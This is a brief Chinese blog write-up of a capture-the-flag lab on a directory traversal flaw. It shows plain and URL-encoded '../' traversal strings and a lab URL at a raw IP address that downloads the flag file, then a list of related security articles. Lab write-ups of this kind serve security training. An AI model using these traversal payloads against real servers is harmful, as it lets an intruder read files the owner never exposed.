1.阅读靶场介绍
这里博主捕获到的关键字眼是
目录遍历漏洞
2.启动靶场
如下图所示
3.poc
这里就是构造目录遍历路径
../../../../../../../或者..%2f..%2f..%2f..%2f..%2f
这里博主构造完下面的路径弹出一个文件下载
http://39.106.48.123:39628/..%2f..%2f..%2f..%2f..%2fflag
各位可以参考参考
相关推荐
愚公搬代码18 分钟前
【愚公系列】《Web应用安全》001-VMware的安装anscos40 分钟前
案例分享｜ Latitude AI × Parasoft：搭建 L2-L3 自动驾驶量产验证与功能安全完整链路笨鸟先飞，勤能补拙1 小时前
Web 服务器与计算机网络全景原理rcms152702692183 小时前
Honeywell FC-SCNT01 安全控制器10mAh3 小时前
【Git】误删分支、reset --hard 后提交丢了怎么办？——reflog、fsck 与安全恢复实战7177774 小时前
如何搭建信创研发交付体系？Gitee DevOps 国产化适配、安全与流水线能力解析极小狐4 小时前
极狐GitLab 补丁版本：19.2.1、19.1.3、19.0.5Atomic121385 小时前
Apache Shiro 核心漏洞与实战利用指南小新讲网安5 小时前
HTTP请求走私攻击实战：CL.TE与TE.CL绕过前端服务器全解析上海安当技术17 小时前
诊断接入认证：安当CAS如何堵住汽车网络安全的物理后门